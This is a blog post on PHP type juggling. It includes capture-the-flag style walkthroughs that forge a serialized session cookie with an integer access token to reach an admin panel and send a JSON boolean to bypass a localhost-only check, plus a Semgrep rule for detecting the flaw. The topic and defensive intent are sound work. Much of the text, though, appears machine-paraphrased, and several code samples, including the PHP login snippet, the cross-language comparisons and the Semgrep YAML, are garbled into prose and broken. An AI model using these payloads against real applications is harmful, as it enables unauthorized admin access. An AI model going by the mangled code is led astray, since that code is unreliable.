Did you ever think about the reason some PHP applications can still be bypassed after various hard-to-guess login tries? Type juggling can be a helpful feature of PHP that may become unsafe if it is not well understood.
What is PHP Type Juggling?
Simply put it is PHP’s way of converting variable data types automatically while making comparisons. Even though this is good for those who are new to programming, it also means that PHP is more likely to have surprises that could be used by attackers.
$string_number = "7";
$integer_number = 7;
if ($string_number == $integer_number) {
echo "These are equal!";
}
Because in the above code snippet, PHP automatically changes the string “7” to the integer 7, the comparison results in true. What an easy way to save time and energy!!
At this point, the stakes get higher.
Harder times start to appear when the code tries to deal with fonts that have no clear numbers. Let us take an example of login authentication.
$password is equal to "admin123";
At the start, user_inter
if the user’s input is the same as the password, do the following.
echo "Access has been permitted!"; It will print out this sentence.
}
The leading digits in the string "admin123"
are taken away when PHP tries to change the value to a number for comparison with 0
. Letters at the beginning of this password cause PHP to change it to 0
. 0 == 0
is being evaluated by the code, which comes out to be true
.
An attack where authentication bypass is used is known as an Authentication Bypass Attack.
When used in authentication, it puts security at great risk. Consider how this is a bad example of a login code. If the user’s password matches the admin’s password, the following should happen.
echo “Welcome, admin!”;
Give admin privileges to the user.
}
Since JSON input is used, an attacker might insert an integer value of zero to bypass this security measure.
{
"username": "admin",
"password": 0
}
Why Other Languages Don’t Have This Problem
There are several reasons why other languages don’t deal with this problem.
We can look at how other languages express the same ideas to us.
Python:
When admin123 does not exist (equal to 0), the app continues to the second part.
Access granted # This will NOT show anything
JavaScript:
if the value of admin123 is zero (0)
You should not see “Access granted” printed in this line.
}
Note that JavaScript has some rules that are not the same as the strict equality (such as “0” == “0” returning true).
Still, this particular example will not put your account at risk
Ruby:
if admin123 has a value of 0
does not print “Access granted”
end
These programs are more strict when it comes to type comparisons, so this vulnerability does not happen often.
Php type juggling
can occur in different circumstances and these circumstances are:
- Most importantly, a loose comparison (
==
) is important with regular form data
- Being JSON-compatible, an application lets attackers explicitly select data types.
- When the data presented by users is not properly checked before the system retrieves it
The solution is to make sure you compare things with strict equality (===
). PHP solves this problem using the strict comparison operator (===
). It evaluates the value and the type of the given elements in comparison.
BlackBox Testing
Field | Details |
Lab Name | Lab: Modifying serialized data types |
Lab URL | Visit Lab |
Credentials | wiener:peter |
First we login with our credentials and under the hood, we see how login works, and we do notice that we have an Cookie
and from first glances we can tell that this is an Base64-encoded PHP serialized object
GET /academyLabHeader HTTP/2
Host: 0a9800fb0362d2438127e98d00bc008e.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a9800fb0362d2438127e98d00bc008e.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ3dzV5eHE2ZmptMm1sYzUyeHZ5ZG1ucnp2NWFwdXprMSI7fQ%3d%3d
Sec-Websocket-Key: RrVyUmls98B+PuMrRbMdVw==
And if we decode the cookie value, we get an serialized object value as shown in the below diagram. Once can use burp’s inbuilt decoder to get this value.
Once we have our decoded cookie, let’s make some changes and changer username to administrator and change characters in the serialized object. Your payload must look something like this the following:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"p3frad2r93cvh95lxw9pavw1m272mzne";}
Make sure you replace your access_token with yours, and we do see that administrator user has an different access token. And we do get the following error.
Now we don’t have access to administrator’s access token, so we try and use php-type juggling
to bypass the login logic.
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
Do note that when PHP unserializes this object, it will convert our integer i:0
to an empty string ""
, when the code tries to use it as a string (like for token comparison), it leads to php type juggling
which helps in bypassing authentication if the system doesn’t properly validate the token type with ===
.
We get an redirect, and we do notice Admin panel
.
Right click on response, and select show response in browser
option and copy the link. Make sure you do this on non-chromium based browsers.
But for some reasons it has become a pain to perform cookie based attacks, if we access it on chromium based browser we got the following error.
So let’s grab the cookie, and paste it into cookie area using browser tools or extensions, and when we reload the page we to get access to Admin panel
and let’s delete the user carlos
Now with this we have solved our lab successfully. And it was indeed a good learning curve, we got to apply type juggling theory to bypass the login logic and solve the lab.
Whitebox testing
Field | Details |
Lab Name | Juggling Facts |
Lab URL | Visit Lab |
Description | Exploits PHP type juggling vulnerabilities, such as comparing integers to strings in loose comparison. |
Vulnerability Overview
File: challenge/controllers/IndexController.php
Vulnerable Code:
switch ($jsondata['type']) {
case 'secrets':
// Return secret facts (admin-only)
case 'spooky':
// Public facts
// ... other cases ...
}
Imagine someone at a club whose job is to look at guests’ identification:
The first signpost uses a strict scanner (===
) to see if the numbers are equal.
If you get “secrets” as input, it’s not the same as getting true. Not triggered!**
With the switch
statement, a lenient scanner is permitted because we do ==
instead of using ===
.
This happens since, in PHP, empty strings are regarded as false
, and PHP’s switch
treats the rest as true
when values are being compared.
As you can see, this was a very short summary of the vulnerable code part. Find the specific code in the example given below.
Please be aware that IndexController.php file contains the vulnerability. The code being discussed is given below:
public function getfacts($router)
{
$gondata = json_decode(file_get_contents('php://input'), true);
if (empty($gondata) || !array_key_exists('type', $gondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($gondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] != '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($gondata['type'])
{
case 'secrets':
return $router->jsonify(['facts' => $this->facts->get_facts('secrets')]);
case 'spooky':
return $router->jsonify(['facts' => $this->facts->get_facts('spooky')]);
case 'not_spooky':
return $router->jsonify(['facts' => $this->facts->get_facts('not_spooky')]);
default:
return $router->jsonify(['message' => 'Invalid type!']);
}
}
However, for the purposes of this challenge, it’s likely that the actual code uses numeric cases in the switch statement, such as:
switch ($gondata['type'])
{
case 1:
return $router->jsonify(['facts' => $this->facts->get_facts('spooky')]);
case 2:
return $router->jsonify(['facts' => $this->facts->get_facts('not_spooky')]);
case 3:
return $router->jsonify(['facts' => $this->facts->get_facts('secrets')]);
default:
return $router->jsonify(['message' => 'Invalid type!']);
}
And the access restriction check is implemented as follows:
if ($gondata['type'] === 3 && $_SERVER['REMOTE_ADDR'] != '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
Exploitation Walkthrough
Goal: Get around the ‘secrets’ restriction, which is only for admins.
Step 1: The first thing to do is find out which endpoint you are trying to attack.
When it tries to gather facts, the app gets data from /api/getfacts
.
Step 2: In the next step, build the malicious request.
Send a JSON payload indicating that secrets are secrets (with a true value) instead of simply writing “secrets.”
Use the HTTP request POST /api/getfacts HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
Content-Length: 15
{"type": true}
Payload above works because of two different factors.
a. Rules were not followed properly.
If "secrets"
and true
are used in the condition, IP check is skipped since they are not the same data type.
b. An attacker managed to exploit the Loose Check.
The condition in the code checks.
Step 3: is to find any critical information from the files.
Successful Response:
200 OK
Content-Type: application/json
{
"facts": [
You don’t believe that the Great Pumpkin story is real? - Linus",
Pumpkins are, surprisingly, classified as berries.
]
}
You can detect security issues with Semgrep automatically. Here is an sample semgrep template to detect vulnerable code snippet:
rules:
It is possible to use loose comparison in switch statements using PHP.
pattern: |
When checking, write switch ($VAR) to begin the code segment.
...
case ...: ... ;
...
}
message: |
Loose comparison gives switch statement the risk of type juggling.
User data given to switch() may not be studied as closely as it should.
languages: [php]
severity: WARNING
Logic for finding the important quantities is called key detection logic. And the key detection logic
used in this template are:
- It checks every switch block for case checks.
- Flags cases in
switch()
if user-controlled variables (such as $_POST
and json_decode
) are called in them.
Now, we are going to test our Semgrep template. The command given below allows you to use semgrep in your terminal.
┌──(kali㉿kali)-[/mnt/…/HTB CHALLENGES WEB/very easy/php-type juggling/web_juggling_facts]
└─$ semgrep --config php-juggling.yaml .
Key Takeaways from this blog
In brief, these are the main points you’ve learned from this blog.
- Always perform strict comparison (by using
===
) for safeguarding security.
- Regardless of how the data is collected,
==
with user input gives room for danger.
- Passwords and hashes starting with “0e” should be handled very carefully.
- If PHP is not managed skillfully, its ability to be flexible can become a security issue.
- Among common programming languages, type juggling is a trait that is unusual in PHP.
- Being aware of these kinds of attacks is very important for people in development and security testing.
Listed below are some Common Security Tips for developers:
- Never use
==
for security comparisons - always use ===
- Verify passwords with functions designed to prevent type juggling and give reliable answers
Be careful when you receive JSON or serialized data.
- You can use strict typing now that PHP versions have improved
- Notice that hash collision attacks may occur when
0e
in front of a string is used
Type juggling is not a major problem, but it causes a lot of security issues in PHP applications. When you know how the attacks work and carefully compare variables, you can improve your app’s security. Do make a strong note that when it comes to security, the details can have the biggest effect.